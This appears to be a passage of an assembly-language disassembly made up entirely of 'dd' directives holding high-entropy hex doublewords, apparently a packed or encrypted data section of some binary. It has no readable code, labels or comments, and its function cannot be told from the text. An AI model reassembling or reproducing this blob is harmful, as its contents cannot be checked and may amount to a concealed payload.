		dd 30B5931Bh, 7C912610h
		dd 0C56A8100h, 8091A3B8h, 3A4A7332h, 8223B83Bh,	32888814h
		dd 674B61B6h, 60E34464h, 3CCB51C9h, 0EF00B1B5h,	0A5A37C9Fh
		dd 0BF057B01h, 8980C733h, 51A48B0h, 0A3886B68h,	3CCC88Fh
		dd 744F155Ah, 4CB023h, 9F003C22h, 0F9F4C386h, 539D4F0Ah
		dd 8AA27839h, 78DF30h, 8B73061Ah, 0D5A1C88Fh, 2FFF201h
		dd 0EFDCF67Ah, 0D46C4421h, 5320F9A2h, 5A86235Fh, 23F83BDEh
		dd 5E120E15h, 8DC02BE1h, 0B9F0476Ah, 7E051858h,	0A3440887h
		dd 97DA3C08h, 0CCE0284Ch, 4CC4D488h, 9110B4CEh,	10FC58E7h
		dd 0B30A79CBh, 44984DA4h, 0BE94604Eh, 95F82325h, 0B1008311h
		dd 1BA6BE8Ch, 0CC6E8649h, 22CEE289h, 1178D926h,	32829FBEh
		dd 710E8492h, 1A3B60BCh, 0A713EC32h, 0AC04C128h, 0CB015B0Dh
		dd 1005AB03h, 4D04534Bh, 932698FFh, 262A082Ch, 4B9B2305h
		dd 0DD885C8Eh, 0B080CCC4h, 344D62FEh, 4871D32Ch, 0BA40ADA8h
		dd 0C494B5EDh, 0C85CABA0h, 268C8FB0h, 3D3DFCCCh, 0FE13058h
		dd 368C20C5h, 0D20530B0h, 0E235703h, 510A8445h,	0CE082CB2h
		dd 0E837FA34h, 670027F4h, 87B47C8Ah, 2C224217h,	8442848Dh
		dd 79282074h, 0A61705F0h, 0C48CF789h, 0E9B40199h, 531A905Ah
		dd 806A612Ch, 8E7E9A18h, 2DB0627Fh, 0A0059DFFh,	9750402Fh
		dd 8549D0D6h, 9D267700h, 9CF0A3B0h, 6A1D011Ah, 2A722166h
		dd 8D4430BDh, 48E3CA80h, 58116042h, 0C6AD2567h,	0C81FFFB0h
		dd 58495E42h, 0F96E3F78h, 96264A03h, 0B075E1C7h, 9A2C8h
		dd 1F13989h, 0EF8A1FF2h, 8073FA28h, 0B82CA459h,	0A9C33D58h
		dd 0FF1CC84Ah, 95CF7000h, 2C4B1CD9h, 1CC927Dh, 0D02F6DA8h
		dd 38817F48h, 0FC520508h, 34C80F36h, 1A5B4085h,	0B7F3F8A0h
		dd 0F0204B81h, 44E94E52h, 0E0A45F54h, 0FD2FF12Ch, 7D809807h
		dd 87190863h, 0C5F091DCh, 962CACD3h, 0B63E0A80h, 0E7A2B83Ch
		dd 0AD8C5093h, 401A2003h, 0F8BA24E8h, 891192F7h, 0B0A2681Ch
		dd 0FF903958h, 4A0C924Ah, 9300A0E6h, 1679E376h,	28ED483Eh
		dd 46C82B1Dh, 8D54021Ah, 5947C2C8h, 4C7A6050h, 741CDC8Dh
		dd 5CEE56FEh, 8925664Ah, 0D866DCh, 43E818EFh, 0C9204211h
		dd 7233C8A9h, 30E3F2A4h, 40019CDBh, 0F95814DFh,	0EC70518Bh
		dd 24552502h, 222D4090h, 460D8300h, 31A8723Fh, 0DB9207F0h
		dd 0A033591Eh, 674D29FFh, 0A8E80AFEh, 2707F092h, 0AD14A99Bh
		dd 908F8001h, 2FC2EC3Ch, 0B4820AFAh, 440925E6h,	9EA900C8h
		dd 713089DFh, 0E4EEAB3Ch, 29E92A61h, 0E0C1F6FAh, 18103C2Dh
		dd 0BCCF135Bh, 45BDC898h, 78FC602Eh, 5048484Bh,	0C037AD9Dh
		dd 61319F0Eh, 35D9BA5Fh, 5442944Dh, 0EA844B4Eh,	82C054F2h
		dd 9EF7883Ah, 0F0F45301h, 0A2920828h, 3053B2E8h, 40076414h
		dd 0C75C9618h, 6A930CE2h, 2280149Ch, 611D18BEh,	84E46D84h
		dd 0A535AD04h, 0E858E814h, 7B2C5481h, 504B2B29h, 0B3346043h
		dd 304959E0h, 63EDF200h, 62E41F20h, 0D84AC8B2h,	8461ACC9h
		dd 16F0522Fh, 0E3F8044Ch, 13E4F485h, 13721920h,	72F1D370h
		dd 380C8898h, 0D1CF2AF2h, 244F11DCh, 0A7D60841h, 26F8286Bh
		dd 50DC91CAh, 53125017h, 0C1FBD4B8h, 0D8B58521h, 8D0706A8h
		dd 0AA9E9B9Dh, 5BD3FF60h, 378B7B58h, 61200B0Dh,	0C13F68C0h
		dd 89049E0Fh, 2B0044B7h, 0CE1B6D95h, 4186A26h, 361E851h
		dd 0C3592021h, 0FC7E89C9h, 2118CCFFh, 0C3510141h, 705426B0h
		dd 0F408023h, 95FFFBBFh, 5A1463B1h, 314C12E9h, 0C57A0075h
		dd 1051B940h, 4E7B0003h, 3328807Dh, 3A0E52E1h, 6C0FC085h
		dd 3981350Ch, 0E381C5EAh, 0A18D8954h, 8156A029h, 0F6EC3B31h
		dd 1FEDB531h, 95E16447h, 84010D1h, 529DBD03h, 5223742Dh
		dd 44C35A0Eh, 17625489h, 0C3524220h, 71D10086h,	664FB2CCh
		dd 78A1D38Bh, 502B42C9h, 91456332h, 2B484489h, 50408814h
		dd 8DDBC303h, 40EE1985h, 6FC1DCCAh, 2DAFE30Ah, 66500C58h
		dd 34D6BF01h, 5E8016Ah,	94264580h, 8B6925EBh, 326DBD19h
		dd 2688592Eh, 7B8007E9h, 5CE3DA6Fh, 1C4C6C78h, 683BD1C0h
		dd 0BD0F32FFh, 0C35F3057h, 7C4689E4h, 47001622h, 2F71C357h
		dd 31BD899Bh, 0F7A30E5h, 722448Ch, 0F683FE8Dh, 14C5D399h
		dd 0ED204484h, 3CB5DDAh, 1FBF040Eh, 0AF549B5h, 83EC9887h
		dd 36E9EA8Ah, 56A43164h, 0C8C35E61h, 448C7489h,	5600461Bh
		dd 609CD2C3h, 17CE1965h, 15230A62h, 83409D90h, 6E72C8C8h
		dd 34B983BCh, 91F55099h, 3222B5FFh, 2231B041h, 646F38A8h
		dd 88F51927h, 0E9880759h, 0B60BC434h, 3F54823Ah, 1B08AC2Fh
		dd 8EFC01D3h, 505B4917h, 136AA034h, 0D2B70F18h,	92330D64h
		dd 33F951E1h, 0BD2920DEh, 6A920EADh, 0E8DE1048h, 4D148C16h
		dd 0B2D254C8h, 0CAC72840h, 1C46749Bh, 3BA0C100h, 0F5EF056Dh
		dd 8A5BB507h, 0F85E89EBh, 0D015E9DFh, 9510B233h, 19834528h
		dd 49B9FFCEh, 4E882534h, 0C11D8859h, 0D1D5191Ah, 7B74D4B4h
		dd 6AACA932h, 66F6B0FFh, 0BDD11481h, 3335C389h,	0EAC81E17h
		dd 37C78593h, 0BF28A9D0h, 958BC0F9h, 3D991591h,	928E0F09h
		dd 0F8725700h, 4D3DB00h, 0A873F2EEh, 9509089Eh,	6A922B5Dh
		dd 20EACDBBh, 7412CE89h, 1C720CDAh, 60C6482h, 0F2D58060h
		dd 2B45C261h, 2A045B02h, 0CE170A77h, 0BA424F23h, 404C76A0h
		dd 71770376h, 0C224AEDh, 0A67BE3BAh, 170960E8h,	0C72FEDAAh
		dd 0CAC64C01h, 0BD33BE3Ah, 0D58C25FDh, 572B8068h, 3125798h
		dd 0DD21810Fh, 0B8013E8h, 0CE69C4B1h, 60000BB2h, 5A9722FAh
		dd 75E928Ch, 0CC7649B8h, 0B961D791h, 9199C2BDh,	0B91005D2h
		dd 0A93A951Eh, 0D07EA63Fh, 8558761Ah, 0CB4C714Fh, 0A0C02D68h
		dd 9107ADF1h, 0A7D1145Ah, 0F6138B74h, 1B212EDDh, 2B8C1AC1h
		dd 0F9450184h, 0FA0C4498h, 8AFFF883h, 0FB8DDDA2h, 0CCF72514h
		dd 84E37384h, 20A0CD6h,	44C4A48h, 0C3558890h, 8991C35Dh
		dd 806B636Ch, 8DC35545h, 90DEE6B7h, 821EECAFh, 243BBB81h
		dd 5357915Bh, 49C3DF9Eh, 2C9C5C89h, 0C3534303h,	19757984h
		dd 0FF339154h, 0E1CC61D0h, 8E32412Dh, 0B129031Eh, 144501A9h
		dd 469B5985h, 928E91C0h, 0E952E4F8h, 879A02E8h,	860C3028h
		dd 0B0E5D99Eh, 12096247h, 74222DE9h, 17B4E319h,	3CD8B880h
		dd 0A146ACB6h, 17202246h, 0D62F40D6h, 19E27542h, 0E059E430h
		dd 550213A5h, 0E7590060h, 0B1611F16h, 81C29468h, 2A501160h
		dd 255B4A42h, 23173A04h, 0D6110118h, 915BD03Fh,	0CC000DB2h
		dd 0A1D19653h, 1103C11Fh, 4781D567h, 0D4D799B0h, 303B2FD0h
		dd 0E1A8595Ah, 80C392F6h, 5CABC580h, 2D6180Ah, 85AF5775h
		dd 0D39AF48h, 9D63F9B9h, 631958D9h, 664CA3D4h, 9873DB3h
		dd 0F104653Dh, 0FE81C8AFh, 0B50105D1h, 328C66C9h, 0C92F0E01h
		dd 29101B66h, 2D4109B5h, 0CB586336h, 5C5888C0h,	5B714A5Fh
		dd 0D02E97B8h, 46747350h, 8C660017h, 9D09BE7Eh,	4C329A49h
		dd 7D103F60h, 52512C32h, 0EC52228h, 79996158h, 1D883B0Bh
		dd 0DDA1DFC0h, 0D89206AEh, 66EE7599h, 0B2F58524h, 1FAC9FA6h
		dd 218467Eh, 5E2A34D4h,	0C8ABCC40h, 9EA4B1CAh, 0E9C7D00Fh
		dd 40202D75h, 1AE28823h, 4342F30h, 785ED287h, 0BDCDC86Eh
		dd 2AA23EA2h, 111F0185h, 80EF8F1Bh, 2FFFF5D9h, 31D609B9h
		dd 94AA8985h, 21A51D1Ch, 34EF1D08h, 506D0076h, 9F40F4BAh
		dd 0E71E544Ah, 286E7C0Bh, 467EE9E4h, 0BA5C0119h, 6DF3F70Eh
		dd 2837DF42h, 24FD0DBFh
		dd 60330896h, 5DBD0B12h, 9D8B3941h, 0C972C71h, 52216261h
		dd 1549FE60h, 0A8205F81h, 0E01E4959h, 0E11E66C9h, 22526843h
		dd 0A43016E2h, 2230B837h, 2B90068Fh, 9E158D4Ah,	10E889E5h
		dd 479AECEh, 0C10299EFh, 0DF5BC09Eh, 5F12A32Bh,	5222870Fh
		dd 54E4E9h, 0FCE75B76h,	35F4BBC2h, 7528F20Eh, 15ABE0B7h
		dd 1869B573h, 310FE97Dh, 0CF4DCD80h, 84238B0Ch,	50041924h
		dd 60CF98F5h, 64FD8B77h, 0AC936122h, 1009CC31h,	79BD3100h
		dd 43721D4Ah, 61C5C057h, 59598134h, 509F46E1h, 0A0502F4Ch
		dd 0AB9F048h, 56E72521h, 0CAED481Ah, 0B6873D3Eh, 0DFF76FE9h
		dd 0EBD92D8h, 881F1691h, 0DD341B28h, 0EFDB1820h, 0BD9F56C3h
		dd 0E2811980h, 0BBA9E80Bh, 0C8441B09h, 50031165h, 5AAD24Ah
		dd 7B8B8C29h, 0CACDC176h, 6441DE59h, 88424E19h,	3CE3C01Ah
		dd 0F1019EE4h, 0BD89B8CDh, 45322691h, 88E9FA0Bh, 7AFEBC29h
		dd 8D098D2Ah, 0E9EF3DB5h, 0B5733957h, 0D09B7C12h, 3CFEDF3Bh
		dd 0B52082B8h, 0E95711A3h, 83AB070Eh, 8F9035D5h, 5935A2Ch
		dd 1CD3F37Dh, 95EB0760h, 23910981h, 8B998D0Dh, 37089DF3h
		dd 25B5BAF9h, 6A0431BDh, 0C868CE6Ah, 0E57EC01Dh, 98007818h
		dd 0D3E49FC7h, 28156FFh, 87AADECFh, 4F925A6Dh, 1B11BD1Dh
		dd 0A9E3FD80h, 0F008E84h, 2DBFB9CAh, 480216ABh,	1880EDE8h
		dd 52EFCCD4h, 0C88A480Bh, 6585895Ah, 671BE416h,	1E4A88C0h
		dd 483D01C9h, 9D896015h, 26F62969h, 0F06A2886h,	610BF522h
		dd 42B18D33h, 0C439E753h, 0D9217FD9h, 666E057Bh, 83FBF6B9h
		dd 8C900A26h, 0ABB90913h, 80D88B80h, 0C653C7E1h, 19281544h
		dd 74890339h, 0EC50433Ah, 21212006h, 1AA8AAF7h,	42B6B575h
		dd 93046017h, 9B1413F5h, 74146110h, 6AF18A13h, 230B36C4h
		dd 5F0068E8h, 0DAA3393Fh, 0EC973480h, 71AD74F4h, 594FB50Ch
		dd 0A965B450h, 85286AB1h, 8AC7E90Dh, 45B0550h, 0F30B9DC6h
		dd 3014E21Eh, 43B46A41h, 18154674h, 0D29AF23Ch,	48D14E93h
		dd 8BBE04E9h, 9534BBFh,	0CF792F74h, 0B85414CAh,	367C8C1Ah
		dd 9DCC2200h, 0BD010A32h, 0C872EB35h, 0A229D51Dh, 46569596h
		dd 0EAB31815h, 0C4BCC2C8h, 0F5551h, 0E9C3DD80h,	1ECF8811h
		dd 49F7B400h, 78E6C7Bh,	547F0AEh, 0C0E4BECDh, 2C0E99B0h
		dd 20DC8FF9h, 477EC701h, 0F0520027h, 382C95A3h,	110B0AA5h
		dd 8B8F8A7Ah, 5A66A599h, 0B0512D98h, 0FC0144F5h, 96045949h
		dd 6E00D86Fh, 80D972D5h, 0A858E974h, 14B91071h,	18402C76h
		dd 65E63CB0h, 344A70C7h, 0D6804631h, 1748B9C8h,	2C0E130Fh
		dd 2B893C72h, 800DA870h, 17C38C3Dh, 4E94830Fh, 0C726FD6h
		dd 0A85356BFh, 59D9A85Dh, 4256B65Fh, 36A4983Dh,	0B99A355Eh
		dd 66B8B5C1h, 0BD8048E9h, 1609725Eh, 982EE657h,	8A600141h
		dd 499D8BC1h, 38093516h, 0CF29D40Eh, 0A11940A6h, 0EEAA57h
		dd 374B50F8h, 0C72D6C70h, 9CBDA02h, 7914FDB5h, 8B28924h
		dd 0C688C39Fh, 0C621FC0Bh, 9DC0720Bh, 801A6F2Dh, 407CEDEAh
		dd 822CCD8Ch, 2E150779h, 920B3F80h, 322102F5h, 88192F21h
		dd 0A0B6D3Eh, 8EE113E9h, 6BEE36B1h, 82835D10h, 8E0C018Dh
		dd 5622D037h, 65803BB1h, 52FFC2D8h, 118BCB8h, 88A170A2h
		dd 1CF42E1h, 1DD9B759h,	0DD3E4318h, 0E6E480C8h,	9C02C26Dh
		dd 885A4A56h, 861D7F1Ah, 2C0053A3h, 0EC1B4CEAh,	47AE03F8h
		dd 0E024D817h, 0F231E9E0h, 31CFF71h, 49254595h,	0FE4FF87Ch
		dd 7E07DDC4h, 0B907DD10h, 110AB502h, 23661005h,	17C28BDh
		dd 28B528CEh, 0DC5E9C64h, 8248677Dh, 300D110Ch,	0FC5CF622h
		dd 0E1B53BFEh, 0F52585A5h, 0A113AF39h, 1DBAD11Eh, 4FB900F7h
		dd 8AF0C72h, 0E8693AE9h, 0FBD663A0h, 0B4044100h, 7FECF0D5h
		dd 2098B88Fh, 5F620A65h, 0BF32D64h, 0B70B14ECh,	842940D2h
		dd 45132118h, 26701396h, 0F8192A41h, 0D14C346Ah, 105E7028h
		dd 484F12D4h, 6DA82D27h, 2318074Eh, 2E8C66FBh, 20F1F6DBh
		dd 190267C4h, 0E0D564C6h, 68485651h, 9C627678h,	9031F95Eh
		dd 993AC394h, 46A0B31h,	1D10DB04h, 0EE8164DBh, 89045B8h
		dd 6804472Dh, 0EC18AC9Bh, 0F0602479h, 4F071EA4h, 2F266168h
		dd 0A19D1EB8h, 8C5A1FCFh, 2823C07Dh, 8518C256h,	759875C0h
		dd 980A6841h, 2ADB8764h, 0A9D021D3h, 0A4684C60h, 0AD80E4E7h
		dd 21F12420h, 5B123F88h, 952C8204h, 151554AEh, 8903C785h
		dd 0C43D8E6h, 260F026Ch, 0B930587Dh, 0FFEE26C9h, 53430283h
		dd 8CB51334h, 6D0A4C89h, 9768450Fh, 492A584h, 9A390D2Dh
		dd 0B00C0267h, 0A632752Eh, 0A1C0DA66h, 0C234E35h, 344DBD2Ch
		dd 66C3AF28h, 9297CA8Bh, 59810779h, 0FCAB2986h,	25F9BD09h
		dd 21A97C3Ah, 0D632A415h, 90AFEE4h, 6E35FF64h, 0CFB9660Fh
		dd 25896518h, 0CE8B0B04h, 85619CC3h, 883B7CCCh,	0D5258D89h
		dd 9D9BA221h, 4BA50933h, 59134428h, 0BD800116h,	0CB69FBA9h
		dd 61630251h, 0F50D0130h, 0FD27DE9h, 0A0EDE182h, 3361FC9Ch
		dd 0C47CA5DBh, 99786017h, 0A80ECD5h, 0C0333ECDh, 40FE00BCh
		dd 0B073F0Fh, 58F6414h,	0C483187Fh, 4CEAC14Ch, 0D1403D72h
		dd 0F31965F9h, 84F781FBh, 0E680102Ah, 15E912DBh, 0B27FE301h
		dd 0CEA2301Ah, 0F0943501h, 67E92A15h, 0F8CE202Eh, 24064C8Bh
		dd 0A481C70Ch, 3FF671Bh, 15B8A683h, 0C3E00462h,	0C89858Bh
		dd 6C01F484h, 0A8ED815Dh, 518B2F24h, 3B411B83h,	89022A7Bh
		dd 4F5D0CA6h, 8147605Dh, 26599589h, 0D99D0300h,	610C0864h
		dd 100024A2h, 12F24723h, 0DA068105h, 0A3F1122h,	299E206Ah
		dd 465E2E9Ch, 66EA001Ch, 1AD31195h, 0B0C7E439h,	2A9208Fh
		dd 12695048h, 7475DD64h, 0C34EC8h, 0AC6A75FDh, 5A930976h
		dd 3C45900Fh, 0F32562E6h, 0A0864E1Bh, 8127D144h, 0A262B9h
		dd 55D704B8h, 2640548h,	0BB0DF781h, 0E040D465h,	0B62540BAh
		dd 0E801C034h, 0ED0CCE5Fh, 5868FBE0h, 7526564Dh, 2508870Ah
		dd 53011117h, 0FFAC9F46h, 0E3912016h, 367117E9h, 4FD98DF0h
		dd 10606A0Dh, 0D584043Dh, 0A213210Fh, 0E120900Bh, 23189EB4h
		dd 0C4025F6h, 653795F5h, 17948201h, 0DC20AB3Fh,	0E9C2C5F9h
		dd 89995B47h, 392E3180h, 5BE130E6h, 78458001h, 3706563h
		dd 6E6F6974h, 669B4920h, 616D72B0h, 50800CA3h, 73F2656Ch
		dd 20202CE6h, 0EB747963h, 6857C7CFh, 8F738FDFh,	0AC778F66h
		dd 0F8641272h, 0FA6CFC76h, 73EDF370h, 0D16977ECh, 76661D34h
		dd 1CC6266Ch, 0C767676Eh, 752E7340h, 0D733C754h, 0D779D76Bh
		dd 0D0AB375h, 1A6047Fh,	80702833h, 436E0373h, 2B4C5254h
		dd 94EBFDAFh, 79466978h, 187A646Dh, 707B15D3h, 6C1E0879h
		dd 0F1625F69h, 442964DAh, 56420D36h, 0FDA609DFh, 0E725FD3Dh
		dd 0E8431E30h, 54496B63h, 8E640F4Eh, 54554F11h,	6F7250C3h
		dd 0F1D10FDh, 0F8C3BB6h, 0B60DF382h, 420F0E3Dh,	5054DE1Eh
		dd 1E18688Eh, 0BD05D8EAh, 9B8C1F91h, 2001412Dh,	9C48CB7Dh
		dd 0E50328Fh, 78EA1235h, 0DB95CCC0h, 1321F2F9h,	1942AB2Bh
		dd 13078B1Dh, 4916284Ah, 773CB024h, 115C84CBh, 88254284h
		dd 1A5B7121h, 0A8712DC8h, 7135C81Ah, 31C81AC6h,	0C81AAF71h
		dd 1AB77125h, 0BE7129C8h, 840C910Ah, 0E9050791h, 0BD1288A2h
		dd 3A325D24h, 0D449565h, 8521339Dh, 69831511h, 814B0B25h
		dd 0B32BF8C2h, 8D2F7CE4h, 52251095h, 4028C134h,	703BD4C3h
		dd 75DBA102h, 4022B566h
		dd 9D8B2255h, 4CC313A2h, 65A63AF0h, 5042118Ch, 54E42121h
		dd 421E2D22h, 0E4312158h, 2A25225Ch, 0DEA53DCh,	6845AFB4h
		dd 5A26CD05h, 2129430Ch, 0C8319025h, 3221642Dh,	120A2A1Dh
		dd 4F1C6217h, 22DD0790h, 643A841h, 130F5835h, 406A240Ch
		dd 19A53924h, 0C2B8BBA5h, 82475901h, 18EBC18Bh,	0E9429BCDh
		dd 4AF6580Bh, 653C1C60h, 2EE33B38h, 64C26180h, 0A0E63404h
		dd 14C8605Fh, 0ABF61008h, 24614F46h, 83F8E9C3h,	1BB58B21h
		dd 818E1C2Fh, 18F01BE6h, 0E833C664h, 8113B5B9h,	3B19D0C6h
		dd 39C31FB5h, 76E9860Fh, 0D8203C51h, 0CFB022B9h, 8C66506Fh
		dd 324C804h, 1B84C00Ah,	0DDAD2A1Fh, 858B2090h, 86024D91h
		dd 42DB0A18h, 0E670B3Fh, 48C3DA2h, 8ACFC624h, 50195877h
		dd 0FFF5E108h, 10FB107h, 70FEF14Ch, 1C25C0DEh, 6606A353h
		dd 15FCDB89h, 535B0209h, 0E84C09CAh, 43513882h,	89BBE008h
		dd 0CBEF8353h, 1A03E380h, 4B3884C3h, 0C79A7617h, 0D95D320h
		dd 0D1E6448Bh, 89C54898h, 18E306ABh, 0A5E924C7h, 1230CCDh
		dd 0A25BBDCAh, 6042A364h, 0EA493E80h, 0A1BB1031h, 763A07B7h
		dd 29B101B0h, 0AC001D79h, 0C302C88Ah, 9D1E432h,	0D20BAACBh
		dd 4A8611F9h, 45D6C90Ah, 0C423A8E5h, 71011D4h, 57D48B52h
		dd 33087A30h, 21E950C0h, 3F8038AAh, 5F158D56h, 530DBC5Ah
		dd 0C8325651h, 1051E9DBh, 0D1D8E84Eh, 0C381D301h, 37465ABCh
		dd 32FAB0BCh, 0E8970B49h, 5EC38B20h, 535B7459h,	234A7B60h
		dd 0EA2BAC96h, 0C044772Ah, 0DFE4E708h, 0D80F0335h, 3C2904A8h
		dd 0C093D429h, 7E890B12h, 348F6058h, 8221C485h,	687BC64h
		dd 8983C8BDh, 5F23E938h, 8B1F313Fh, 1705F840h, 9B46F30Ah
		dd 14482189h, 46FA3C67h, 8FD91EB2h, 0AE219230h,	69A287E9h
		dd 487690DFh, 7A004D72h, 0CAB2B80Ch, 9397A945h,	300681CBh
		dd 2C8D1C8h, 0FF73B46h,	8D92F182h, 2F08EA05h, 284C6528h
		dd 5609282Eh, 13085351h, 0C4A092Ch, 2D3C6730h, 100AC9A1h
		dd 2349804h, 0C1D83213h, 1C4208C3h, 1C8167BAh, 445E595Bh
		dd 4C980437h, 5E352231h, 742ABEA4h, 2D75210Ch, 0F1C49C10h
		dd 0E860040Eh, 0E4BE6789h, 4C20BE01h, 0D8D4F249h, 1900E3ADh
		dd 66980FACh, 4B94D981h, 0AC1BC44Fh, 64F61626h,	61D3FE04h
		dd 0EE287E3h, 5826F31Ah, 0C985040Eh, 0E073F5D3h, 0A42F9A8h
		dd 8A0FD048h, 0C580011Fh, 0B244B1A9h, 64E9CAF4h, 893618E0h
		dd 6A0C56ADh, 0C29A5D54h, 1421552Dh, 231B45EDh,	596800A3h
		dd 9F32B04Ch, 0BA661FB9h, 4AC2D290h, 81C152D5h,	8C5E9261h
		dd 0EDB9E1DFh, 0C7F7F029h, 3460044Dh, 61AD31AAh, 774A2FB8h
		dd 4585BFDCh, 0FA72830Eh, 6177E9D1h, 92D29467h,	53BF3A13h
		dd 8032DB83h, 1455F37Fh, 47741C06h, 0A260D70Dh,	0A7D90009h
		dd 89D4C335h, 61D528E3h, 342B2EF6h, 0BE6683BBh,	1CF91938h
		dd 299E4124h, 0C84869CFh, 0E44E8005h, 52F00750h, 1604EFA1h
		dd 0B9031638h, 3E48845Ah, 1A2369h, 0FE3A0AE4h, 5D041912h
		dd 0D178D3BEh, 0F13BB87h, 5DC6B5BFh, 0C48B0202h, 0EB01CDF5h
		dd 1CDD3240h, 0A28D524Eh, 5A47A6A0h, 4C58665Eh,	33BED05Bh
		dd 1D3FA774h, 0C8B79361h, 7120E105h, 0E99BEA16h, 0CAFA3881h
		dd 0B8A9126h, 8B000248h, 93C981C2h, 32160675h, 2E20B861h
		dd 0E0B2E7FFh, 5B88BA57h, 0F813010h, 11040B6h, 0B022C8FEh
		dd 21251EBh, 53886C5Fh,	3016A2E4h, 8F657835h, 2EDD0A6h
		dd 0E83107B8h, 61CF427Ah, 0ABF06E26h, 0D3020E9Eh, 0F896D8C9h
		dd 0DE1D62A8h, 9D03DCD2h, 487FCF43h, 0B8D3A0C7h, 0DABD9BE4h
		dd 0E5944D3h, 0E02D20Bh, 0FEE81DC1h, 60752408h,	0CB82BFEh
		dd 1840DE03h, 91530F0Dh, 6F2C1088h, 0DD9F0B98h,	21F8C00h
		dd 0AA5AED17h, 0C86569D3h, 1911701Dh, 5E802380h, 948E2DEh
		dd 9FBE0B5Fh, 0D1EA093Eh, 59F18937h, 0A8C2CB05h, 0C0888E7Ah
		dd 0D531D0B5h, 6C1FC2Bh, 6DB26059h, 2524E861h, 9A68A5Ah
		dd 6692C60h, 79207B7h, 0F0A9F1A2h, 3B6FF4B9h, 71C8705Eh
		dd 29D1006Eh, 4D6B3A19h, 0B985EE9h, 0B87A96h, 1EA6F081h
		dd 2F5A4628h, 7764870Fh, 0D3A3CE00h, 1C8B4874h,	0DEBBA011h
		dd 0A997E7Ah, 0A455CDEBh, 0E7BF07C6h, 54F3E0A1h, 437A3FD4h
		dd 0AA29B81Eh, 0E451C380h, 308B0158h, 271A53F7h, 4048FDAh
		dd 4DE1BF11h, 8D0F7C81h, 81C7202Eh, 5E7421D8h, 0EF9FEA06h
		dd 0BAA4DD2h, 55B0F790h, 29B7E05h, 0A684FA0Ch, 8575DF58h
		dd 9B806EB9h, 0C8163D46h, 5404A025h, 7611C092h,	623C5522h
		dd 0E20023F4h, 0B1E9F219h, 0F0E51Fh, 0CB359F14h, 4BDB1B09h
		dd 3B9CB203h, 78A63CC6h, 0EA20040h, 391272C9h, 0D0607CD3h
		dd 0E957BA28h, 9F150247h, 0A5B954C8h, 1E1A3880h, 8130303Eh
		dd 27112038h, 0C7EAF8h,	4223D625h, 0B8E6FB22h, 8AB3AB00h
		dd 98F00FB2h, 0B7C7002Ah, 36687ED0h, 0DD00FD23h, 5EAE4386h
		dd 50EA4EEh, 3B9ACAC7h,	0D7440D5Bh, 2D21D851h, 6031E260h
		dd 60AD2FAFh, 0BB39803Dh, 0D01FCB1Bh, 690CB44Bh, 0F4C71852h
		dd 0F7A140A3h, 3B9D1F10h, 0E4A62300h, 3D22015Ch, 0EFC95014h
		dd 0D2F98694h, 0E53E1E30h, 0B38B0C39h, 1F0DB010h, 7011F4C3h
		dd 2A5DAF3h, 0CC92B552h, 99060437h, 3B10381Fh, 18E14726h
		dd 40802CD5h, 0C33FD94h, 10164005h, 800983F4h, 0C5ED8026h
		dd 64F3D425h, 2117298Ah, 0D71281E4h, 0F5101927h, 53E696h
		dd 7B3774CCh, 0B789B95Ah, 0D9922A0Fh, 0F85CDAh,	83B15D18h
		dd 3457201h, 7C3EF3D0h,	0CAB0A21Dh, 0D8E396F0h,	0B500E6F2h
		dd 3E490720h, 743D87h, 6371D0B8h, 7F8DFD9Fh, 26413C05h
		dd 0BBC1A9D3h, 0F18183DAh, 0E0F0A3D4h, 5028808Dh, 402D38E5h
		dd 657D0027h, 79162C47h, 0BC01493Fh, 45ED044h, 3D6CF3EBh
		dd 78B63018h, 3674F57Fh, 0FAA92900h, 2A17E979h,	0F6ACA89Fh
		dd 51266E3Eh, 2003FFEh,	4E8A92Bh, 3B010D9Bh, 0CCC758BDh
		dd 87078472h, 16A19EB7h, 0FC48B629h, 1E3004F4h,	39FCD12Fh
		dd 9B77E6h, 734941D7h, 0D227962Eh, 5C0003E6h, 80FDCDDFh
		dd 245089h, 15C9C136h, 0F5201976h, 35AC7F07h, 3210CC3Ah
		dd 5CB47906h, 0DE006482h, 126C2921h, 0A301C06Fh, 871E4854h
		dd 95FC5A42h, 0D6A53E7Fh, 3F62D09Dh, 0CC08017Dh, 0DBC84FBAh
		dd 5A8ED4D8h, 0ACD03C00h, 78ECC9B1h, 21AE60BBh,	90A8D592h
		dd 3FA15600h, 0D9E093BAh, 4F750031h, 3AC347CCh,	6405EE80h
		dd 3CF852E6h, 34AA000h,	0B57D74h, 9BF58784h, 527FD06Ch
		dd 80503A3Dh, 40B1B93Fh, 6347EFh, 8876FF5Bh, 0BB49E9F3h
		dd 5F1E310Ah, 0D601C49Bh, 0AAE33954h, 0FC9774h,	45F6963Dh
		dd 95CD6672h, 247BA000h, 6EA15BCCh, 0AE44003Fh,	82319401h
		dd 0E500E24Fh, 0CAB45F14h, 28266DDAh, 78D8B7ACh, 5DD20905h
		dd 2C00B244h, 2CF7C714h, 87B2B00h, 1ED76DE6h, 1FED00B8h
		dd 0F8ABE175h, 0B600AF0Ah, 7C1624Dh, 3F648CDCh,	0F400D647h
		dd 9CA9D76Ch, 750020DEh, 2E05F7F6h, 305D4E09h, 3420F53Ah
		dd 0D8EC8378h, 0B5284160h, 0EACFB10Ch, 4890044h, 8D66C721h
		dd 78003D56h, 0D5B65E8Eh, 0C068F7h, 0F3D1D29Fh,	3B7B50E4h
		dd 5B5C9201h, 1F7020C7h, 0F3A18C20h, 0B042D0h, 7F2E8EA8h
		dd 11DC654Eh, 0E1809350h, 83FF2D00h, 0BC799592h, 0FC4E617h
		dd 1954EBEEh, 0EAA2F940h, 6A90CA49h, 0BDE0BC00h, 0FFFE9B2Ch
		dd 0C7171F98h, 0D4CFC02h
		dd 31594A07h, 1F72066h,	3E602A3Dh, 0A25F4BF8h, 585500FBh
		dd 50273610h, 0D1060B92h, 7B4FBC56h, 0B22D0050h, 39DF8084h
		dd 3E00BA50h, 0DD210C75h, 7656D46h, 52872DD5h, 9CE47606h
		dd 0C9C57118h, 0EEFDFB31h, 578C00C2h, 0F225329Fh, 153DE21Ah
		dd 4DDB8078h, 0D61B0780h, 5D110761h, 20FCB254h,	46BA66A8h
		dd 0BB80C00h, 0B77378EDh, 0CFAB079Bh, 0DFD42A06h, 0A034CD60h
		dd 5A39F329h, 0E98583DBh, 0F84705C2h, 309FFF44h, 29326D91h
		dd 12006561h, 0B77DBDF6h, 0E38C22h, 4AEE2D2h, 0ECEB71FCh
		dd 0AD3FD18h, 3994318h,	0A2F8501Ah, 67F7B160h, 0B0C4F0CDh
		dd 2A00A57Ah, 28F1C361h, 1FC03C58h, 80F34A70h, 9D90BC83h
